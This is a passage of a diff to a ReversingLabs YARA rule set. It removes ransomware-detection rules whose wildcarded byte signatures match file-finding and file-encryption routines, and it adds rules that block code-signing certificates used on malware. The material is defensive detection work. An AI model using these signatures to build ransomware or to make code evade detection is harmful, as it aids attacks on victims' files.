?? ?? ?? ?? 0A 06 16 16 6F ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 00 1F - ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? - ?? ?? 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 7E ?? - ?? ?? ?? 6F ?? ?? ?? ?? 17 31 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? - ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C - 2B ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 2C ?? 08 6F ?? - ?? ?? ?? DC 28 ?? ?? ?? ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC DE ?? 26 28 ?? ?? ?? ?? - DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 2A - } - $encrypt_files_p1 = { - 02 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 02 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? - ?? ?? ?? 31 ?? DD ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 06 1F ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 19 - 73 ?? ?? ?? ?? 0B 02 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 08 06 6F ?? ?? ?? - ?? 17 73 ?? ?? ?? ?? 0D 08 06 6F ?? ?? ?? ?? 16 06 6F ?? ?? ?? ?? 8E 69 6F ?? ?? ?? ?? - 07 09 6F ?? ?? ?? ?? DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC DE ?? 08 2C ?? 08 6F ?? ?? ?? - ?? DC DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 02 28 ?? - ?? ?? ?? DE ?? 26 DE ?? 2A - } - $encrypt_files_p2 = { - 73 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 8D ?? ?? ?? - ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 0B - 73 ?? ?? ?? ?? 0C 08 06 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 0D 09 07 16 07 8E 69 6F ?? ?? - ?? ?? 09 6F ?? ?? ?? ?? DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 28 ?? ?? - ?? ?? 10 ?? DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? DC 02 13 ?? DE ?? 06 2C ?? 06 6F ?? ?? ?? - ?? DC 26 DE ?? 02 2A 11 ?? 2A - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Buster Ind Com Imp e Exp de Acessorios P Autos Ltda" and pe.signatures [ i ] . serial == "03:00:ee:4a:4c:52:44:31:47:82:1a:81:86:d0:43:09" and 1494892800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_202Cf8 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "1c442ed6-a48a-52f4-b345-300428ec9c76" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13530-L13546" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "671a4b522761fdff75d1c0c608e8cfb21c7ab538c8c30c8620315bc58ed358e6" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $generate_key ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DATALINE LTD." and pe.signatures [ i ] . serial == "20:2c:f8" and 1087841761 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_5Ss5C : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6651Cc8B4850D4Dec61961503Ea7956B : INFO FILE { meta: - description = "Yara rule that detects 5ss5c ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c69f44de-8e48-518d-87bf-d21d11223a2f" - date = "2020-06-26" - modified = "2020-07-15" + id = "88679114-9c85-5810-af21-d5c2a8dc759e" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.5ss5c.yara#L1-L267" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13548-L13564" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "74fcec568906a01dade7091c63cffbe4afa49c4705d9c1f21d10b4eee655a805" + logic_hash = "29bfe9c8b340b55a9daa2644e8d55b2b783cc95c85541732e6e0decca8c10ff6" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "5ss5c" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B FA 89 BD ?? ?? ?? ?? 8B F1 - 8B 5D ?? 33 C0 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 89 45 ?? 6A ?? 89 45 ?? - 89 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ?? 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 - ?? ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? - 57 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D - ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ?? C7 00 ?? ?? ?? ?? C7 40 ?? - ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 - 45 ?? ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? C7 - 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 57 C0 8B 43 ?? 66 0F D6 - } - $find_files_p2 = { - 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C6 45 - ?? ?? 8B 3B 85 FF 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 8B 47 ?? 8D 8D ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 47 ?? 89 7D ?? E8 ?? ?? ?? ?? 6A - ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 3B - C8 74 ?? 83 78 ?? ?? 8D 48 ?? 72 ?? 8B 09 FF 70 ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 51 - 50 FF 15 ?? ?? ?? ?? 8B C8 89 8D ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8B D8 66 66 - 0F 1F 84 00 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? - 8B 8D ?? ?? ?? ?? 0F 43 45 ?? C7 45 ?? ?? ?? ?? ?? C6 00 ?? 8D 41 ?? 83 79 ?? ?? 72 - ?? 8B 00 FF 71 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? 8B D0 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 8D 85 ?? ?? ?? ?? 51 - 50 8B CA E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 F6 85 ?? - ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 33 FF FF B7 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 - C0 0F 85 ?? ?? ?? ?? 83 C7 ?? 81 FF ?? ?? ?? ?? 72 ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? - ?? ?? ?? 8B 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 83 CB ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 50 89 9D ?? ?? ?? ?? 89 5D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 - } - $find_files_p3 = { - 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 85 C0 75 - ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 - 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? 83 7D ?? ?? 8D - 8D ?? ?? ?? ?? FF 75 ?? 0F 43 55 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B - 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? - 8B 5D ?? 8D 55 ?? 53 FF B5 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 8B 85 ?? - ?? ?? ?? 8B 40 ?? 85 FF 0F 85 ?? ?? ?? ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? - 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 - ?? 0F 1F 80 ?? ?? ?? ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 51 50 8D 4D - } - $find_files_p4 = { - E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? - ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B FC 0F 43 45 ?? C7 - 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85 DB 74 ?? 6A ?? - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D ?? ?? ?? ?? 89 - 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 83 7D ?? ?? 8B FC 0F - 43 4D ?? 03 C1 C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? - 85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D - 8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? - 8B FC 0F 43 45 ?? C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D - ?? 85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? - 8D 8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45 - } - $find_files_p5 = { - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? 8D 55 ?? 83 7D ?? ?? 8B 4D ?? 0F 43 55 ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 83 F9 ?? - 72 ?? 49 83 C8 ?? 3B C8 89 4D ?? 0F 42 C1 03 C2 0F 1F 40 ?? 80 38 ?? 75 ?? 0F B6 08 - 80 F9 ?? 75 ?? 33 C9 EB ?? 1B C9 83 C9 ?? 85 C9 74 ?? 3B C2 74 ?? 48 EB ?? 2B C2 EB - ?? 83 C8 ?? 6A ?? 8D 78 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C6 45 ?? ?? - 8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? - ?? ?? 3B C7 0F 82 ?? ?? ?? ?? 2B C7 C7 45 ?? ?? ?? ?? ?? 83 C9 ?? 89 45 ?? 83 F8 ?? - 0F 42 C8 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 51 03 C7 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 8D ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - } - $find_files_p6 = { - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B FC 0F 43 45 ?? C7 07 - ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85 DB 74 ?? 6A ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D ?? ?? ?? ?? 89 47 - ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 83 7D ?? ?? 8B FC 0F 43 - 4D ?? 03 C1 C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85 - DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D - ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B - FC 0F 43 45 ?? C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? - 85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D - 8D ?? ?? ?? ?? 89 47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45 ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? - 33 FF 66 66 0F 1F 84 00 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF B7 ?? ?? ?? ?? 0F 43 45 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? - ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 C7 ?? 83 FF - ?? 72 ?? 8B 5D ?? 85 DB 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ?? ?? - ?? 8B 7E ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 - } - $find_files_p7 = { - 74 ?? 8B 01 85 C0 74 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01 - EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB ?? - 50 8B CE E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 85 C0 75 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 8B 7E ?? 8D 8D - ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74 ?? 8B 01 85 C0 - 74 ?? 66 0F 1F 44 00 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01 - EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB ?? - 50 8B CE E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 8D ?? ?? ?? ?? ?? 8B D8 8B 7D ?? 85 FF 74 ?? 8B 3F 8B CB E8 ?? ?? ?? ?? 3B - } - $find_files_p8 = { - C7 74 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 - ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? CC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 43 ?? 3B 45 ?? 74 ?? 8D 85 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? EB ?? 32 DB 8B 85 ?? - ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 84 DB 0F - 84 ?? ?? ?? ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 0F 84 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? - 8B 7E ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74 - ?? 8B 01 85 C0 74 ?? 90 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B 40 ?? 89 01 - EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 46 ?? ?? E9 ?? - ?? ?? ?? 83 FB ?? 0F 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 83 8D ?? ?? ?? ?? ?? 8B D8 8B 7D ?? 85 FF 74 ?? 8B 3F 8B CB E8 ?? - ?? ?? ?? 3B C7 74 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? CC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 43 ?? 3B 45 ?? 75 ?? 8D - } - $find_files_p9 = { - 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B3 ?? EB ?? 32 - DB 8B 85 ?? ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? - C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? C6 45 ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 0F 84 ?? - ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B 7E ?? 8D 4D ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? - F7 D9 1B C9 23 C8 74 ?? 8B 01 85 C0 74 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B - 01 8B 40 ?? 89 01 EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 46 ?? - ?? E9 ?? ?? ?? ?? 83 FB ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 46 ?? 8D 4D ?? 51 39 46 ?? 74 ?? 8B C8 E8 ?? ?? - ?? ?? 8B 7E ?? 8D 4D ?? 6A ?? E8 ?? ?? ?? ?? 8B 0E 8D 41 ?? F7 D9 1B C9 23 C8 74 ?? - 8B 01 85 C0 74 ?? 66 0F 1F 44 00 ?? 39 78 ?? 72 ?? 77 ?? C7 00 ?? ?? ?? ?? 8B 01 8B - } - $find_files_p10 = { - 40 ?? 89 01 EB ?? 8D 48 ?? 8B 01 85 C0 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 46 ?? ?? EB - ?? 50 8B CE E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? - ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? - 75 ?? 33 FF 6A ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F - 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B - 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8 - } - $encrypt_files_p1 = { - B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? 55 8B 6C 24 ?? 56 8B - 74 24 ?? 57 8B 7C 24 ?? 85 F6 0F 8E ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? - 83 C4 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 57 E8 - ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 85 C0 75 ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? - ?? A3 ?? 